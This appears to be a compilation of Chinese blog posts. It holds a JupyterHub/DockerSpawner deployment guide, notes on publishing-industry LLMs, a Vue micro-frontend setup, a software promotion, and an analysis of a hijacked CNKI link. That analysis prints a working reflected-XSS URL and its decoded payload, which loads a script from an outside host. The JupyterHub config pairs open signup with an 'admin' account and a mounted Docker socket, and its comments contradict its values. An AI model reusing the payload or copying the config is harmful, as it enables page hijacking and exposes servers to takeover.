在Ubuntu24上部署JupyterHub + JupyterLab + DockerSpawner

在 Ubuntu 系统上部署 JupyterHub、JupyterLab 和 DockerSpawner 的详细方案,涵盖环境准备、安装、配置和部署步骤。目标是创建一个多用户 Jupyter 环境,每个用户通过 DockerSpawner 运行独立的 JupyterLab 容器,确保隔离性和可扩展性。本方案基于官方文档和社区最佳实践,也适用于 Ubuntu 20.04 或 22.04。

总体上分两种情况,一种是直接在服务器上启动JupyterHub,另一种是在docker中启动JupyterHub,后者隔离效果更好,推荐使用,但是绑定服务器目录时需要注意。以下方案中会作出区分说明。


1. 环境准备

1.1 系统要求

  • 操作系统:Ubuntu 20.04 LTS 或 22.04 LTS(推荐服务器版)。
  • 硬件要求:
    • 最低配置:2核CPU,4GB内存,20GB磁盘空间。
    • 推荐配置:4核CPU,8GB内存,50GB+磁盘空间(根据用户数量和数据存储需求调整)。
  • 网络:确保服务器可以访问互联网以拉取 Docker 镜像和安装依赖。
  • 权限:需要 root 或 sudo 权限。

1.2 安装基本工具

更新系统并安装必要的工具:

bash

sudo apt update && sudo apt upgrade -y

下面这一步并非必要,主要用于在服务器上直接启动JupyterHub。

bash

sudo apt install -y curl git python3 python3-pip python3-venv

1.3 安装 Docker

安装 Docker 和 Docker Compose,用于运行 JupyterHub 和用户容器:

bash

# 安装 Docker
sudo apt install -y docker.io
sudo systemctl start docker
sudo systemctl enable docker

# 验证 Docker 安装
docker --version

# 安装 Docker Compose
sudo curl -L "https://github.com/docker/compose/releases/download/v2.20.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

# 验证 Docker Compose 安装
docker-compose --version

# 将当前用户添加到 docker 组(避免每次使用 docker 需要 sudo)
sudo usermod -aG docker $USER
newgrp docker

上面这一步需要重新登录或者重启才能生效。其中docker-compose也可以不装,新版的docker中自带docker compose命令。

2. 安装 JupyterHub 和依赖(这是服务器直接部署JupyterHub,使用docker的话可以跳过)

2.1 创建虚拟环境

为了隔离 JupyterHub 的 Python 依赖,创建一个虚拟环境:

bash

python3 -m venv /opt/jupyterhub
source /opt/jupyterhub/bin/activate

2.2 安装 JupyterHub 和 DockerSpawner

在虚拟环境中安装 JupyterHub 和相关包:

bash

pip install --upgrade pip
pip install jupyterhub jupyterlab dockerspawner
  • jupyterhub:核心服务,用于管理多用户环境。
  • jupyterlab:为用户提供 JupyterLab 界面。
  • dockerspawner:用于在 Docker 容器中启动单用户 JupyterLab 实例。

2.3 安装 Node.js(可选,JupyterLab 依赖)

JupyterLab 需要 Node.js 来支持扩展和前端功能:

bash

sudo apt install -y nodejs npm

3. 配置 JupyterHub(这个配置文件是用于服务器直接部署,docker部署的话其中的设置有所区别)

3.1 创建 JupyterHub 配置文件

生成默认配置文件(也可以跳过,直接复制下面的配置文件内容进去,默认配置文件很长,看起来不方便):

bash

mkdir /opt/jupyterhub
jupyterhub --generate-config -f /opt/jupyterhub/jupyterhub_config.py

配置文件位于 /opt/jupyterhub/etc/jupyterhub_config.py,以下是关键配置步骤。

3.2 配置 DockerSpawner

编辑 jupyterhub_config.py,添加以下内容以启用 DockerSpawner 和 JupyterLab:

python

c = get_config()
import os
import sys
from dockerspawner import DockerSpawner

# 设置 DockerSpawner
c.JupyterHub.spawner_class = 'dockerspawner.DockerSpawner'
c.DockerSpawner.image = 'jupyter/minimal-notebook:x86_64-python-3.11.6'
c.DockerSpawner.network_name = 'jupyterhub-network'

# 设置 JupyterLab 作为默认界面
c.Spawner.default_url = '/lab'

# 持久化存储配置
notebook_dir = '/home/jovyan/work'
c.DockerSpawner.notebook_dir = notebook_dir
c.DockerSpawner.volumes = { 
    '/mnt/raid/jupyterhub_persistent/{username}': notebook_dir,
    '/mnt/raid/jupyterhub_shared': '/home/jovyan/shared'
}
# 上面路径中的/mnt/raid是我自己服务器的一个地址,可以替换。注意这个地址不管在服务器直接运行JupyterHub还是在docker中,都是设置为服务器上的地址,因为是绑定给用户容器的。

# 动态创建用户目录
def create_dir_hook(spawner):
    username = spawner.user.name
    volume_path = os.path.join('/mnt/raid/jupyterhub_persistent', username)
    if not os.path.exists(volume_path):
        os.mkdir(volume_path, 0o755)
        os.chown(volume_path, 1000, 100)  # jovyan 用户的 UID 和 GID
c.Spawner.pre_spawn_hook = create_dir_hook

# 资源限制
c.DockerSpawner.extra_host_config = {
    'mem_limit': '16g',  # 每个容器 64GB,10 个用户平分 640GB
    'cpu_period': 100000,
    'cpu_quota': 1000000,  # 每个容器 1 核心,10 个用户共 10 核心
}

# 如果本地端口有冲突可以设置,否则不设置
c.JupyterHub.bind_url = 'http://:8090'
c.JupyterHub.hub_connect_ip = '127.0.0.1'
c.JupyterHub.hub_ip = '0.0.0.0'
c.JupyterHub.hub_port = 9000

# 可选:设置认证,根据需要选择认证方式,建议用这种自定义用户比较方便,不用系统的用户
c.JupyterHub.authenticator_class = 'nativeauthenticator.NativeAuthenticator'
c.NativeAuthenticator.enable_signup = True
c.NativeAuthenticator.open_signup = True
c.Authenticator.admin_users = {'admin'}

# 可选:自动停止闲置服务器
c.JupyterHub.services = [
#    {
#        'name': 'cull_idle',
#        'admin': True,
#        'command': 'python3 /opt/jupyterhub/cull_idle_servers.py --timeout=3600'.split(),
#    },
    {
        "name": "jupyterhub-idle-culler-service",
        "command": [
            sys.executable,
            "-m", "jupyterhub_idle_culler",
            "--timeout=3600",
        ],
         "admin": True,
    }
]

3.3 创建 Docker 网络

为 JupyterHub 和用户容器创建一个专用的 Docker 网络:

bash

docker network create jupyterhub-network

3.4 配置认证

JupyterHub 默认使用 PAM 认证(基于系统用户)。若需要简单测试,可以配置 Native Authenticator 允许用户自注册:

bash

pip install jupyterhub-nativeauthenticator

在 jupyterhub_config.py 中添加:

python

c.JupyterHub.authenticator_class = 'nativeauthenticator.NativeAuthenticator'
c.Authenticator.admin_users = {'admin'}  # 设置管理员用户

若使用其他认证方式(如 OAuth、LDAP),请参考 JupyterHub 官方文档配置对应 Authenticator。

3.5 数据持久化

为确保用户数据持久化,DockerSpawner 使用 Docker 卷(如上配置)。每个用户的卷命名为 jupyterhub-user-{username},存储在 /home/jovyan/work 目录。

若需要共享数据目录,可以挂载主机路径:

python

c.DockerSpawner.volumes = {
    'jupyterhub-user-{username}': notebook_dir,
    '/path/on/host/shared': '/home/jovyan/shared'
}

确保主机路径权限正确:

bash

sudo chown :1000 /path/on/host/shared
sudo chmod g+rws /path/on/host/shared
sudo setfacl -d -m g::rwx /path/on/host/shared

4. 使用 Docker Compose 部署

为简化管理,使用 Docker Compose 部署 JupyterHub 和相关服务。

4.1 创建 docker-compose.yml

在 /opt/jupyterhub 目录下创建 docker-compose.yml:

yaml

version: '3.8'
services:
  jupyterhub:
    build:
      context: .
      dockerfile: Dockerfile
    container_name: jupyterhub
    restart: unless-stopped
    ports:
      - "9000:8000"
    volumes:
      - /opt/jupyterhub/srv:/srv/jupyterhub # 这里单独设置了一个srv以跟docker中的srv对应,区别于服务器直接部署的配置,测试时方便区分
      - /var/run/docker.sock:/var/run/docker.sock
      - /mnt/raid/jupyterhub/jupyterhub_persistent:/jupyterhub/jupyterhub_persistent
      - /mnt/raid/jupyterhub/jupyterhub_shared:/jupyterhub/jupyterhub_shared
    environment:
      - DOCKER_HOST=unix:///var/run/docker.sock
      - DOCKER_NOTEBOOK_IMAGE=jupyter/scipy-notebook:latest
      - DOCKER_NETWORK_NAME=jupyterhub-network
    networks:
      - jupyterhub-network

networks:
  jupyterhub-network:
    external: true

用户环境定制

若需要自定义用户镜像,创建 Dockerfile:

因为启用了nativeauthenticator所以默认的镜像不行,需要自己通过Dockerfile加上。同时也指定自己的jupyterhub_config

Dockerfile

# Use the official JupyterHub base image
FROM jupyterhub/jupyterhub:latest

# Install dockerspawner and nativeauthenticator
RUN pip install --no-cache-dir \
    dockerspawner \
    jupyterhub-nativeauthenticator \
    jupyterhub-idle-culler

# Create directory for persistent storage (if needed inside the hub container)
RUN mkdir -p /jupyterhub/jupyterhub_persistent /jupyterhub/jupyterhub_shared
RUN chmod -R 755 /jupyterhub

# Copy the jupyterhub_config.py into the container
COPY jupyterhub_config.py /srv/jupyterhub/jupyterhub_config.py

# Expose the default JupyterHub port
EXPOSE 8000

# Set working directory
WORKDIR /srv/jupyterhub

# Start JupyterHub
CMD ["jupyterhub", "-f", "/srv/jupyterhub/jupyterhub_config.py"]

4.2 用docker部署并启动 JupyterHub(这是方式二)

bash

cd /opt/jupyterhub
docker-compose up -d

4.3 验证部署

  • 访问 http://<服务器IP>:8000,应看到 JupyterHub 登录页面。
  • 使用管理员账户(如 admin)登录,测试创建用户和启动 JupyterLab 容器。
  • 检查 Docker 容器:bashdocker ps应看到 jupyterhub 容器和用户容器(如 jupyter-<username>)。

4.4 日志查看

若遇到问题,查看日志:

bash

docker logs jupyterhub

5. 高级配置

5.1 HTTPS 配置(不建议,建议另外通过caddy代理并设置ssl)

为生产环境,建议配置 HTTPS:

  1. 使用 Let’s Encrypt 获取免费 SSL 证书:bashsudo apt install -y certbot python3-certbot-nginx certbot certonly --standalone -d <your-domain>
  2. 在 jupyterhub_config.py 中配置 SSL:pythonc.JupyterHub.ssl_key = '/etc/letsencrypt/live/<your-domain>/privkey.pem' c.JupyterHub.ssl_cert = '/etc/letsencrypt/live/<your-domain>/fullchain.pem' c.JupyterHub.port = 443
  3. 更新 docker-compose.yml,将端口改为 443:443。

5.2 GPU 支持

若需要 GPU 支持,确保主机安装了 NVIDIA 驱动和 nvidia-container-toolkit:

bash

sudo apt install -y nvidia-driver-<version> nvidia-container-toolkit

在 jupyterhub_config.py 中添加:

python

c.DockerSpawner.extra_host_config = {'runtime': 'nvidia'}

使用支持 GPU 的镜像,如 jupyter/tensorflow-notebook。

5.3 用户环境定制

若需要自定义用户镜像,创建 Dockerfile:

dockerfile

FROM jupyter/scipy-notebook:latest
RUN pip install numpy pandas matplotlib
CMD ["jupyterhub-singleuser"]

构建并推送到 Docker Hub 或本地仓库:

bash

docker build -t my-jupyterlab-image .
docker tag my-jupyterlab-image <your-dockerhub-username>/my-jupyterlab-image:latest
docker push <your-dockerhub-username>/my-jupyterlab-image:latest

在 jupyterhub_config.py 中更新:

python

c.DockerSpawner.image = '<your-dockerhub-username>/my-jupyterlab-image:latest'

6. 常见问题排查

  • “Spawn failed” 错误:
    • 检查 docker logs jupyterhub 是否有 KeyError 或权限问题。
    • 确保 Docker 网络 jupyterhub-network 已创建。
    • 验证 DOCKER_NOTEBOOK_IMAGE 是否可拉取。
  • 用户容器无法访问数据库:
    • 确保数据库容器在同一 Docker 网络中:bashdocker network connect jupyterhub-network <database-container>
  • 权限问题:
    • 检查卷挂载路径权限,确保用户 jovyan(UID 1000)有写权限。
  • JupyterLab 不显示:
    • 确认 c.Spawner.default_url = ‘/lab’ 已设置。
    • 确保镜像中已安装 JupyterLab:bashdocker run -it <image> pip show jupyterlab

7. 维护与备份

  • 备份用户数据:
    • 用户数据存储在 Docker 卷中,查看卷:bashdocker volume ls
    • 备份卷:bashdocker run --rm -v jupyterhub-user-<username>:/data -v /backup:/backup busybox tar cvf /backup/user-<username>.tar /data
  • 更新 JupyterHub:
    • 停止服务:docker-compose down
    • 更新镜像:docker pull jupyterhub/jupyterhub:latest
    • 重新启动:docker-compose up -d
  • 清理无用容器:bashdocker container prune

8. 参考资源


通过以上步骤,您可以在 Ubuntu 上成功部署一个支持 JupyterLab 和 DockerSpawner 的 JupyterHub 环境,适合教学、科研或团队协作场景。如需进一步定制或遇到具体问题,请提供更多细节,我可以为您提供针对性指导!

出版行业如何选择大模型

过年期间deepseek吵得很热闹,不过就我看到的信息,更像是一次冲喜,毕竟要过除夕了。我不太相信惊喜,二十年前在武汉的某博士沙龙上我突发灵感得到的结论,一切惊喜都可视作异常。回京后,做了下简单的测试,拿一个简单地问题去问这几个模型,这个问题还不算很苛刻,只是想看看训练时的语料审查有多么严重。

按结果的省略程度排序依次是:

  1. deepseek
  2. qwen
  3. mistral

拿出版行业来说,尽管审查也是一个很重的任务,但这个任务是由编辑来承担的,大模型没有权力直接来操刀,否则很容易造成失真,编辑就没法干活了。即使有deepseek无审查版也不行,因为那个无审查只是推理时无审查,并不能解决训练阶段的语料审查。

所以,这个可以当作出版行业大模型的一个选择条件,如果是2C我没有什么意见,安全第一,但是从编辑专业角度而言,必须选择一个中立的大模型来作为基础模型。这几个里面,没有哪个合适的,勉强选择的话只有mistral可以考虑,但这家伙中立的过分了,其实作为专业模型,我们不需要大模型给出态度和立场。

所以,行业模型还要从更基础的模型来做。

Monorepo+federation+defineAsyncComponent构建一栈式主分前端架构

构建一栈式主分前端架构,结合 Monorepo、Federation 和 defineAsyncComponent 是一种现代且高效的开发模式,特别适用于大型项目或微前端架构。

以下是如何将这些技术结合起来实现这一架构的详细步骤:

1. Monorepo(单仓库多包管理)

定义: Monorepo 是一种将多个相关的代码库存储在一个单一的版本控制系统中的方法。它允许你更方便地管理和协调多个项目的依赖关系和版本更新。

工具选择:
•Lerna:用于管理多个 npm 包。
•Yarn Workspaces 或 npm workspaces:用于处理多个包之间的依赖关系。(我选的是pnpm,虽然我觉得pnpm这个词打起来最费劲,但我在.zshrc里面给它设置成了p)
•Nx:不仅支持包管理,还提供了丰富的工具链来优化构建和测试流程。
优点:
•统一的代码风格和配置。
•更容易进行跨项目依赖管理。
•提高了团队协作效率,减少了重复工作。

用Monorepo关键的地方有两个:

1)配置package.json里面的”scripts”,根据调试和打包的组合配置参数。

2)配置dependencies,将共用的部分放到项目根,不过这一点没有上面那条那么重要,属于优化。

  1. Federation(模块联邦)

定义: 模块联邦允许多个独立的应用程序或微前端共享模块,而不需要通过传统的打包方式。实现步骤:
•设置主机应用(Host App):
•使用 Webpack 5 的 ModuleFederationPlugin 配置远程模块。
•示例配置: new ModuleFederationPlugin({
name: ‘hostApp’,
filename: ‘remoteEntry.js’,
remotes: {
remoteApp: ‘remoteApp@http://localhost:3001/remoteEntry.js’,
},
shared: [‘react’, ‘react-dom’],
});

•设置远程应用(Remote App):
•同样使用 ModuleFederationPlugin 暴露模块。
•示例配置: new ModuleFederationPlugin({
name: ‘remoteApp’,
filename: ‘remoteEntry.js’,
exposes: {
‘./Button’: ‘./src/Button’,
},
shared: [‘react’, ‘react-dom’],
});

优点:
•独立部署和开发。
•模块级别的共享,减少冗余代码。
•动态加载远程模块,提升性能。

当然,我用的是vue,上面是钉钉ai助理给的代码,没有仔细看。后面我会整理代码发布到github上供参考。

  1. defineAsyncComponent(异步组件)

定义:defineAsyncComponent 是 Vue 3 提供的一个 API,用于定义异步组件。它可以按需加载组件,从而优化初始加载时间和性能。实现步骤:
•在 Vue 项目中使用 defineAsyncComponent 加载远程组件。 import { defineAsyncComponent } from ‘vue’;

const RemoteButton = defineAsyncComponent(() =>
import(‘remoteApp/Button’)
);

export default {
components: {
RemoteButton,
},
};

优点:
•按需加载,减少初始加载时间。
•提升用户体验,特别是在网络条件不佳的情况下。
综合应用项目结构示例:monorepo/
├── packages/
│ ├── host-app/
│ │ ├── src/
│ │ └── webpack.config.js
│ ├── remote-app/
│ │ ├── src/
│ │ └── webpack.config.js
│ └── shared-components/
│ ├── src/
│ └── webpack.config.js
└── package.json
构建与部署
•构建:使用 Lerna 或 Nx 进行统一构建。
•部署:可以分别部署主机应用和远程应用,确保每个应用可以独立更新和维护。
总结通过结合 Monorepo、Federation 和 defineAsyncComponent,你可以创建一个高效、可扩展的一栈式主分前端架构。这种方式不仅提高了开发效率,还能有效管理和优化大型项目的复杂度。如果你有更多具体的技术问题或需要进一步的帮助,请随时告诉我!(部分内容由AI生成)

实际上,我没有采用ssr的架构,而是采用普通的vite。

实际的目录结构如下:

/apps/one-main
  package.json
/packages/one-basic
  package.json
package.json
pnpm-workspace.yaml

one-main作为我的主应用,one-basic作为的分应用之一,后续还会有one-beau之类的,主应用是作为门户提供最终用户访问的门面的,分应用有两个作用,提供remote-component组件以及对remote-component的单独演示,同时也方便调试。

总体上one-main和one-basic也是同构的,都是采用了https://starchart.cc/xiangshu233/vue3-vant4-mobile这个脚手架,我计划将其中的UI替换为naive-ui,我更喜欢这个简洁的风格。

简单来说,Monorepo是为了这一组代码库方便联调,Federation提供应用间(远程)组件共享,defineAsyncComponent实现动态加载(远程)组件,将远程组件参数化。最终实现的是一个有限灵活度的模板可配置电子书系统。

本方案的代码库:https://github.com/futuremeng/one-momorepo

增加一个新的Title:武汉大学出版研究院兼职研究员

武汉大学出版研究院 https://iop.whu.edu.cn/info/1401/3101.htm

姓名:孟繁永

职务:兼职研究员

研究领域:数字出版,人工智能,数字人文

研究兴趣:利用开源技术搭建低成本轻量化数字出版平台,探索以知识服务为核心目标的数据结构设计、知识加工技术和人工智能应用。

研究成果:

1. 许洁;袁小群;朱瑞;孟繁永. 基于大模型的轻量级智能出版知识服务:理论基础与实现路径[J]. 中国数字出版, 2024 ,v.2;No.2 (01) :25-35.

项目经验:

[主导]语文出版社一书一码融媒体出版平台,2020-2024

[主导]《党建》杂志期刊发行数字化平台,2020-2021

[主导]中国铁建地产集团数据中台与运营可视化,2019-2020

[主导]工商出版社工商法律法规大数据平台,2019-2020

[主导]法律出版社“微版云”数字资源管理云平台,2018-2019

[主导]中国新闻出版研究院希普思会议会展数字化运营平台,2018-2019

[主导]学习出版社《全民经典朗读范本》融媒体出版平台,2017

[主导]中国新闻出版研究院“编辑邦”出版人知识社群,2016-2017

[参与]中国少年儿童新闻出版总社中少快乐阅读平台,2012-2015

[参与]长江出版集团ERP试点,2009-2010

原版原式电子书制作工具推荐:名编辑电子杂志大师

推荐理由:支持H5版本输出,效果还不错,支持添加音视频等富媒体资源。

缺点:使用中有一些bug,官方软件更新不积极。

配套:为了给使用这个软件的客户提供支持,我做了配套的音频切割工具,有需要的可以微信我了解。

软件功能:

最好用的电子杂志制作软件功能
PDF/图片转换成翻页电子杂志

基本任何格式的设计稿或文档都能输出为PDF或图片格式,直接导入名编辑,即可转换为精美的3D翻书式电子杂志。另外,名编辑对PDF的识别、分割、切割能力非常强,无需借助其他软件。

最好用的电子杂志制作软件功能
批量转换多个PDF文件

您可以同时批量转换多个PDF文件。导入PDF文件,设置需要导入的页面范围和选择模板、主题,然后能一口气生成多个电子书或者合并为一本电子杂志了。

最好用的电子杂志制作软件功能
添加多媒体文件

您可以在电子杂志里添加形状、文本、链接、图片、视频、flash或声音文件。

最好用的电子杂志制作软件功能
设置背景音乐

在名编辑中,您可以设置背景音乐,并且可以选择循环播放或单曲播放等多种播放模式。

最好用的电子杂志制作软件功能
添加图片播放器

当您有很多图片需要在某个页面展示时,您可以在翻页电子杂志的页面添加图片幻灯片播放器,展示您需要展示的图片。

最好用的电子杂志制作软件功能
自定义背景图片、颜色背景和flash动态背景

您可以设置任何您喜欢的背景图片,设置纯色背景或者渐变色背景。如果您觉得图片背景不够绚丽,您还可以用flash动态背景。名编辑电子杂志大师提供了许多免费的场景,同时也可以导入您自己的flash文件作为背景。

最好用的电子杂志制作软件功能
输出HTML/EXE/Zip/Mac App/手机版本

HTML用于上传网络;*.EXE和*.Zip可直接发给客户在自己电脑上阅读;*.App用于在苹果电脑本地离线阅读;手机版输出的HTML5格式可在手机在线阅读、离线阅读。另外也可录制到CD。

最好用的电子杂志制作软件功能
上传到网上在线阅读,支持手机/平板/电脑

当您用我们的电子杂志制作软件制作了HTML格式的电子杂志后,您可以通过FTP上传到服务器空间,同时支持手机、平板和电脑在线阅读。

最好用的电子杂志制作软件功能
在线上传功能

一键上传制作好的电子杂志,并生成链接以及二维码用于微信分享,微信公众号推广,提供书橱功能实现同一个链接页面上展示多本书(需另外付费)

最好用的电子杂志制作软件功能
离线阅读:支持电脑/iPad/iPhone/安卓apk

名编辑电子杂志能输出离线阅读的电子杂志:支持Windows电脑、苹果电脑、iPad、iPhone和安卓apk。

最好用的电子杂志制作软件功能
嵌入到网页

用名编辑电子杂志大师制作的翻页电子杂志能够很方便的嵌入到您的个人页面、公司页面或者政府公共页面。

最好用的电子杂志制作软件功能
内置模板、主题和动态背景

为了更方便用户制作精美的翻页电子杂志,名编辑电子杂志大师软件自带了许多主题模板和动态背景,用户可以双击主题应用不同的电子杂志风格。

最好用的电子杂志制作软件功能
导入PDF中的超链接

在导入PDF文件的同时,PDF里面的内容也可以一并导入到翻页电子书中,包括文本、图片、书签和PDF中的网页链接、页面链接、邮箱链接等内容。

最好用的电子杂志制作软件功能
保存编辑文件

在制作电子杂志过程中,如果没编辑完成,或是因为有其他的事情不得暂时不终止杂志制作,用户可以把设置中的杂志导出为工程文件(FLB),下次可以导入再继续编辑。

最好用的电子杂志制作软件功能
预览效果

您在制作电子杂志的过程中,可以预览电子杂志输出后的效果。

最好用的电子杂志制作软件功能
设置电子杂志厚度、边缘大小、页面阴影

在名编辑电子杂志大师中,您可以设置电子杂志的厚度、边缘大小、页面阴影,让您的电子杂志外观以及翻页效果看起来更真实。

最好用的电子杂志制作软件功能
设置硬皮封面

根据自己的需要,设置成硬皮的封面,电子杂志外观看起来就更真实了。

最好用的电子杂志制作软件功能
设置多语言浏览界面

名编辑提供了英语,意大利,阿拉伯语,日语,韩语等十几种语言,您设置一种语言或者多种语言让您的读者可以自由切换。

最好用的电子杂志制作软件功能
定义电子杂志页面清晰度

在名编辑电子杂志大师中,有5个清晰度档次供您选择:超清、高清、清晰、普清和一般。用户可以根据自己的需求,自行选取导入页面的画质。

最好用的电子杂志制作软件功能
渲染引擎功能

设置不同的渲染引擎可以避免一些特定PDF在转换中变形、扭曲。如果您在导入PDF过程整出现了PDF导入失败,PDF导入信息有丢失或者PDF导入不完整,您可以尝试修改PDF导入渲染引擎。

最好用的电子杂志制作软件功能
导入PDF中的目录

如果您的PDF文件已经设置了目录,可以通过选取导入目录选项导入到电子杂志中,如果源PDF文件未设置目录,可以用软件新建目录。

最好用的电子杂志制作软件功能
添加标签书签功能

标签书签不同于目录,它不能从PDF页面中直接导入,但是您可以制作一个类似于书签按钮。点击标签按钮,就可以直接进入标签指定页面。

最好用的电子杂志制作软件功能
自动分割一个页面为两个页面

您之前制作的PDF书籍,可能是两个页面并列为一个页面,名编辑可以探测导入的PDF页面宽度,自动分割为两个页面。

最好用的电子杂志制作软件功能
添加密码保护

您可以给整本电子杂志添加密码,或者给单独几页、多少页之后的内容添加密码。读者需要输入密码才能继续阅读。

最好用的电子杂志制作软件功能
搜索功能

导入PDF中的文字,文字信息就能够被搜索,以及可以定义最低搜索字符。

最好用的电子杂志制作软件功能
设置工具栏图标

如果您觉得我们软件默认的工具栏图标不好看,您可以自己上传图标,设置自己喜欢的图标。

最好用的电子杂志制作软件功能
添加水印功能

添加文字,图片,动态日期等水印到电子杂志页面。

最好用的电子杂志制作软件功能
添加图片或者SWF水印文件到打印页面

添加这个功能后,用户在浏览电子杂志时页面不会出现水印,但是如果要打印出来,则打印出来的东西都会带有水印。这样可以保护您的版权。

最好用的电子杂志制作软件功能
添加带链接的Logo等信息

您可以在翻页电子杂志窗口中添加图片或者swf格式的Logo、标题、作者等个人信息,从而树立公司形象,标注版权。并且可以添加链接,点击进入指定链接页面。

最好用的电子杂志制作软件功能
添加功能按钮

您可以通过页面管理器功能中的添加按钮选项,在电子杂志一些页面添加功能按钮,指定按钮的功能为打开链接、跳至某一页面、调用Javascript 脚本、打开弹出窗口播放flash/视频、打开幻灯片等等。

最好用的电子杂志制作软件功能
设置右翻书或者左翻书的阅读模式

阿拉伯或者中国古书就是向左翻页的模式。

最好用的电子杂志制作软件功能
放大、缩小、全屏

我们提供了放大、缩小和全屏浏览模式,来提高用户在阅读时候的体验。可以通过双击翻页书页面来进行放大和缩小,或者通过放大、缩小、全屏功能按钮来进行操作。

最好用的电子杂志制作软件功能
卡通人物解说员助手功能

在电子杂志窗口显示卡通人物解说员助手,您可以直接插入或者录制声音给解说员在相应的页面配音。

最好用的电子杂志制作软件功能
设置页码展示以及开始页面

在电子杂志浏览界面窗口设置页码展示效果,以及设置电子杂志开始页面。

最好用的电子杂志制作软件功能
设置下载,打印,分享等功能
最好用的电子杂志制作软件功能
可选择分享某个页面

可以分享整本书(也就是别人打开后第一页开始阅读),也可以分享某个页面开始阅读(别人打开后就能直接看到这个页面)

山河大学出版社简介

山河大学出版社成立于2023年,是一家依托于山河大学的专业出版机构。山河大学是一所具有悠久历史和良好声誉的高等学府,致力于培养优秀的人才,拥有广泛的学科领域和强大的科研实力。作为山河大学出版社,我们致力于为读者提供高质量、实用的图书,为学术研究和人才培养做出自己的贡献。

山河大学出版社是一家以图书、杂志、教材等出版物为主要业务的公司。我们的出版品种涵盖了各个学科领域,包括社会科学、自然科学、医学、工程技术、农业、经济、管理、教育等。我们的图书内容丰富,形式多样,既包括了传统的纸质出版物,也包括了数字化出版、在线阅读等现代出版形式。我们致力于为读者提供最全面、最丰富、最优质的服务,以满足读者的不同需求。

作为一家新的出版社,我们深知自己的责任和使命。我们坚持以读者为中心,以质量为根本,以服务为宗旨,努力为读者提供更好的阅读体验和更丰富的知识储备。我们的出版作品都将经过严格的审核和编辑,确保品质和内容的准确性。同时,我们也将积极引进和出版国外的优秀图书,推动文化交流和知识共享。
在未来的发展中,山河大学出版社将继续秉承“团结协作、开拓创新、质量第一、服务读者”的理念,努力为读者和社会做出更大的贡献。我们将进一步加强与各学科领域专家的合作,打造更多优秀的学术作品。同时,我们也将不断创新数字出版等现代出版形式,开拓新的业务领域,提升出版物的传播和推广效果。

此外,山河大学出版社还将积极参与社会公益活动,将出版物的利润部分用于社会公益事业,为推进教育、科学和文化事业做出自己的贡献。我们坚信,只有和社会各界共同努力,才能让读者享受到更好的阅读体验和更丰富的知识储备。

山河大学出版社将秉承“团结协作、开拓创新、质量第一、服务读者”的理念,为读者提供更多优质的图书和服务,为学术研究和人才培养做出贡献。我们期待与广大读者和社会各界共同努力,共创美好未来!

【以上文字来自于ChatGLM2】

知网被植入H5

今天在微信群出现一个关于华为的H5,借着热门话题赚流量,点了一下发现果然有问题,最后弹出来的是不太好的网页。

简单分析了一下网址:

http://medmap.cnki.net/refbook/AddComment.aspx?type=0&isadd=0&bid=%22%2C%29%3B%7DsetTimeout%28atob%28%27ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vaGdvb2QuY24vZCc7%27%29%2C0%29%3Bfunction%20postc%28%29%20%7B%2F%2F%26name%3D

竟然是知网的域名,按说知网不至于干这个,多半是被植入了。再看里面有一个function,基本上可以判断是url参数被js调用时没有检验,被挂了js代码进去。把URL做一个DECODE,结果如下:

http://medmap.cnki.net/refbook/AddComment.aspx?type=0&isadd=0&bid=”,);}setTimeout(atob(‘ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vaGdvb2QuY24vZCc7’),0);function postc() {//&name=

这就看到了setTimeout定时器,里面的atob是base64解码,解码结果如下:

document.body.innerHTML = ”;document.head.appendChild(document.createElement(‘script’)).src=’//hgood.cn/d’;

好了,hgood.cn,这就是目标。干坏事的是它,栽赃到知网。

把这个结果告诉知网以后,发现,植入内容也变了。

期待产品原型、UI设计与开发统一版本管理工具

目前产品原型到UI设计,再到开发测试上线,是分离的,目前尚未发现有一统天下的工具和平台。

我倒是非常渴望有这么一个工具,尤其对于小团队而言。具体的需求就是将产品原型、UI设计、开发测试三者的版本管理集中在一起,每个阶段的某个版本有若干状态,如设计中/已推送/已交付/已验收。墨刀实现了产品经理与UI设计之间的协同,如果再能与开发协同一下则更棒。

对一个项目而言,有这么几个部分,页面树、工作流、页面。页面是基本元素,页面数上可以标注该页面存在的生命周期,如从v1到v4,或者从v3到v5,并且设定发布的url,可以包括测试版地址和发布版地址,工具根据url自动快照,获取当前版本,并通过图像识别对比差异,只保留变更的版本,存入版本库。而产品原型和UI设计的版本分别由产品经理和UI设计师标注和提交。查看时,可以查看最新版,也可以专门查看某一版本的执行情况。